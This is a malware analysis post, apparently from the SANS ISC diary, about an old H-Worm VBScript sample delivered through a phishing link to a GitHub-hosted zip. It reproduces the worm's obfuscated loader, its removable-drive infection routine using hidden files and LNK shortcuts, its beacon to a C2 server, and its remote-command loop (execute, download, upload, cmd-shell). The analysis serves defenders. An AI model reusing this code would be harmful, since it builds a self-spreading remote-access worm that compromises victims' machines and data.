Old H-Worm Delivered Through GitHub, (Thu, Feb 14th)

Another piece of malicious code spotted on GitHub this time. By the way, this is the perfect example to demonstrate that protecting users via a proxy with web-categorization is useless… Event sites from the Alexa Top-1M may deliver malicious content (Github current position is 51[1]). The URL has been found in a classic email phishing attempt. The content was recently uploaded (<24h) when I found it:

hxxps://raw.githubusercontent[.]com/sidilig/sharing/ebk-ci/Ebanking.zip

Let’s have a look at the archive content:

ISC $ shasum -a 256 Ebanking.zip
abb244010410ce6012bac9e4fc902432cfebe06724d014c63d9ef21f0a6b8b78 Ebanking.zip
ISC $ unzip -t Ebanking.zip
Archive: Ebanking.zip testing: Mesures de sécurité.jar OK testing: Habilitations Ebank.vbs OK
No errors detected in compressed data of Ebanking.zip.
ISC $ shasum -a 256 *
d4ffa2acdec66f15c2252f36311c059ab00cc942b7cb54c33b4257dbc680ed9b Habilitations Ebank.vbs
7ab54cb93a4a76dd5578f0b0ddcaeb8420311ebb39f27b62e535a43aec02523a Mesures de sécurité.jar

Let’s have a look at the VBScript code. It’s based on a big class:

Class Values ...
End Class
Set myClass = new Values
myClass.Start()

Most part of the code is obfuscated using a simple technique: A chunk of Base64 data is decoded by replacing a set of characters with the letter ‘A’:

Private Function peter_paul(sand, way_off) Dim stapler, hp_pc, pillow, ruben stapler = "!@" hp_pc = "A" pillow = "Q29uc3QgVHlw....." ruben = Replace(pillow, stapler, hp_pc) peter_paul = b642byt_arr(1, ruben, 10)
End Function

Easy to decode with Cyberchef:

The decoded data is a new script. The next step is to execute it::

Public Sub Start() Set yhm_pepe = CreateObject("ADODB.Stream") Set spike = CreateObject("Microsoft.XMLDOM") If john_conor(1, peter_paul(0, False)) = ojor Then ExecuteGlobal ojor End If
End Sub

The code is simply written to the ADODB.Stream then executed. Here is what the second stage does. It copies itself for persistence in %TEMP%\tGcuACWROu.vbs then install . An interesting behaviour: it scans for available removable drives (drive.type == 1)[2] and infect them:

for each drive in filesystemobj.drives if drive.isready = true then if drive.freespace > 0 then if drive.drivetype = 1 then filesystemobj.copyfile wscript.scriptfullname , drive.path & "\" & installname,true if filesystemobj.fileexists (drive.path & "\" & installname) then filesystemobj.getfile(drive.path & "\" & installname).attributes = 2+4 end if for each file in filesystemobj.getfolder( drive.path & "\" ).Files if not lnkfile then exit for if instr (file.name,".") then if lcase (split(file.name, ".") (ubound(split(file.name, ".")))) <> "lnk" then file.attributes = 2+4 if ucase (file.name) <> ucase (installname) then filename = split(file.name,".") set lnkobj = shellobj.createshortcut (drive.path & "\"&filename (0)&".lnk") lnkobj.windowstyle = 7 lnkobj.targetpath = "cmd.exe" lnkobj.workingdirectory = "" lnkobj.arguments = "/c start " & replace(installname," ", chrw(34) & " " & chrw(34)) & "&start " & replace(file.name," ", chrw(34) & " " & chrw(34)) &"&exit" filleicon = shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\" & shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\." & split(file.name, ".")(ubound(split(file.name, ".")))& "\") & "\defaulticon\") if instr (fileicon,",") = 0 then lnkobj.iconlocation = file.path else lnkobj.iconlocation = fileicon end if lnkobj.save() end if end if end if next

When the installation is successful, it starts to communicate with the C2 server:  hxxp://ghanaandco.sytes[.]net:3007.

POST /is-ready HTTP/1.1
Accept: */*
Accept-Language: fr-be
User-Agent: 647B5904<|>PLAYBOX1<|>Xavier<|>Microsoft Windows XP Professional<|>plus<|>nan-av<|>false - 15/02/2019
Accept-Encoding: gzip, deflate
Host: ghanaandco.sytes.net:3007
Content-Length: 0
Connection: Keep-Alive
Cache-Control: no-cache

Here is a reply from the C2 server:

HTTP/1.1 200 OK
Connection: close
Content-Type: text/html
Content-Length: 12
Server: Indy/9.0.18 sleep<|>5000

Here is the main loop waiting for commands:

while true install response = "" response = post ("is-ready","") cmd = split (response,spliter) select case cmd (0) case "excecute" param = cmd (1) execute param case "update" param = cmd (1) oneonce.close set oneonce = filesystemobj.opentextfile (installdir & installname ,2, false) oneonce.write param oneonce.close shellobj.run "wscript.exe //B " & chr(34) & installdir & installname & chr(34) wscript.quit case "uninstall" uninstall case "send" download cmd (1),cmd (2) case "site-send" sitedownloader cmd (1),cmd (2) case "recv" param = cmd (1) upload (param) case "enum-driver" post "is-enum-driver",enumdriver case "enum-faf" param = cmd (1) post "is-enum-faf",enumfaf (param) case "enum-process" post "is-enum-process",enumprocess case "cmd-shell" param = cmd (1) post "is-cmd-shell",cmdshell (param) case "delete" param = cmd (1) deletefaf (param) case "exit-process" param = cmd (1) exitprocess (param) case "sleep" param = cmd (1) sleep = eval (param) end select wscript.sleep sleep
wend

If the delivery method changed, the malicious code is not new. This is a good old H-Worm as already found in 2013[3]. Old stuff but still used in the wild!

[1] https://www.alexa.com/siteinfo/github.com
[2] https://docs.microsoft.com/en-us/office/vba/language/reference/user-interface-help/drivetype-property
[3] https://www.fireeye.com/blog/threat-research/2013/09/now-you-see-me-h-worm-by-houdini.html

Xavier Mertens (@xme)
Senior ISC Handler – Freelance Cyber Security Consultant
PGP Key